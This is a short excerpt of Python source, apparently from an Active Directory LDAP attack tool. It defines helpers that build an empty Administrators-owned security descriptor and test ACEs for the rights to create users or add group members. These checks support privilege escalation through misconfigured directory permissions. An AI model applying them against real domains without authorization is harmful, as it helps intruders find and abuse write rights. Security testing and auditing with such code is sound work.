761 def create_empty_sd():

762 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()

763 sd['Revision'] = b'\x01'

764 sd['Sbz1'] = b'\x00'

765 sd['Control'] = 32772

766 sd['OwnerSid'] = ldaptypes.LDAP_SID()

767 # BUILTIN\Administrators

768 sd['OwnerSid'].fromCanonical('S-1-5-32-544')

769 sd['GroupSid'] = b''

770 sd['Sacl'] = b''

771 acl = ldaptypes.ACL()

772 acl['AclRevision'] = 4

773 acl['Sbz1'] = 0

774 acl['Sbz2'] = 0

775 acl.aces = []

776 sd['Dacl'] = acl

777 return sd

778

779# Check if an ACE allows for creation of users

780 def can_create_users(ace):

781 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)

782 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':

783 return False

784 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'

785 return createprivs and userprivs

786

787# Check if an ACE allows for adding members

788 def can_add_member(ace):

789 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)

790 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':

791 return writeprivs

792 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'

793 return writeprivs and userprivs